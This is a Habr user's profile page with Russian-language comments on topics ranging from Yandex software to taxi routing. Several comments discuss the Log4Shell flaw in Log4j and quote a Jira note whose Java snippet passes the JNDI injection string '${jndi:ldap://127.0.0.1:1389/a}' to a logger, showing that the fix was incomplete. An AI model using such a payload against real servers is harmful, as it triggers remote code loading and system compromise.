All streams
Search
Write a publication
Pull to refresh
15
0
Сергей Б. @sergey-b

Пользователь

Send message

Раньше, очень давно, могла. Но технологию эффективно придушили где-то во времена перехода от Sun к Oracle.

«поведение логгера, ожидаемое большинством программистов» было задокументировано.

Фактическое поведение задокументировано не было.

Говорят, постарадала игра minecraft. Там в чат что-то вредоносное закинули.

Судя по тому, что я накопал в их гитхабе, опасная интерполяция строк - это не отдельная фича, а особенность реализации фичи с лукапами. Там была когда-то реализована возможность по регулярному выражению что-то подставить уже после того, как строка была отформатирована. Обычно это делается для скрытия паролей и другой конфиденциальной инфы. А уже потом, когда добавляли lookups, вставили его не в то место, где осуществляется форматирование, а в то место, где осуществляется финальная подстановка.

На мой взгляд, тут проблема именно в спонсорах. Если я сделаю pull request с какой-нибудь фичей, ее будут рассматривать под микроскопом, спрашивать: "а зачем это?", "а для чего?", "а безопасно ли?", "а кому это нужно?". Если же спонсор кинет емэйл мэйнтэйнеру: "Бро, сделай вот эту штуку, плиз", - то сам мэйнтэйнер быстренько запилит, быстренько отревьюит, быстренько вольет, и никто не заметит.

Тут вообще от архитектуры надо идти. Должно быть некое ядро и динамически подключаемые плагины. Нужна какая-то хитрая специфическая функциональность - пили плагин. Если какой-то плагин оказывается уязвимым, отключаешь его, и все. Тут же специфическую для очень редких случаев функциональность воткнули прямо в ядро, на мой взгляд, из-за желания угодить спонсорам.

Что-то мне кажется, что это попытка переложить с больной головы на здоровую. Я ситуацию вижу так:

Вот эти компании https://www.apache.org/foundation/thanks сами же и продонатили вот эту фичу https://issues.apache.org/jira/browse/LOG4J2-313

Никто из пострадавших данную фичу не заказывал и ею не пользовался. Получается наоборот, если бы спонсоры не вмешивались, то и проблемы бы не было.

Это вендоры Java EE-серверов приложений активно донатят в оупенсорс вообще и в проект Apache в частности, вот по их заказу и запилили этот бэкдорт данную полезную «фичу».

Как действовать, если сервис водит водителя не по той дороге? У меня есть одно место, куда я часто вызываю такси, где-то в начале года машины стали за 150 метров до точки по прямой дороге заворачивать и делать крюк в 1.5 км по дворам и тротуарам.

Если девайс не брать с собой в туалет, то он узнает о том, что вы там были, через минуту после того, как вы оттуда вернетесь.

https://issues.apache.org/jira/browse/LOG4J2-3198?focusedCommentId=17457333&page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel#comment-17457333

unfortunately the lookup is performed after formatting the message, which includes the user input. Hence the vulnerability can still be triggered using a ParametrizedMessage:

String userInput = "${jndi:ldap://127.0.0.1:1389/a}";
logger.info("foo {}", userInput)

Больше всего в дизайне клавиатур меня волнует один вопрос: Почему нет отдельной кнопки для переключения языков?

Вот вместо сфзыдщсл хотя бы. Ой, не сработало переключение на английский язык.

У них и в других системах так. Например, в браузере после одного из обновлений нельзя сделать закладку, пока не залогинишься в яндексе.

Ну вот я отправил вам в прошлом году номер тикета, в котором последнее сообщение было:

«Я выясню, чем вызвано такое поведение и вернусь к вам с ответом.»

Год прошел, и ни от поддержки никто не вернулся, ни от вас никакого отклика. Так стоит ли вообще заморачиваться?

Это не защита, а навязчивое требование яндекса разрешить ему собирать больше информации о том, что я делаю.

У меня есть номер обращения именно по такой ситуации. Только зачем он вам?

Вы просили примеры навязчивости, я вам их привел. Убеждать меня, что это нормально, так и должно быть, и я сам криворукий, ни к чему.

Конец февраля этого года. На рабочем столе появился ярлык Яндекс.Дзен.

Information

Rating
Does not participate
Location
Москва, Москва и Московская обл., Россия
Works in
Registered
Activity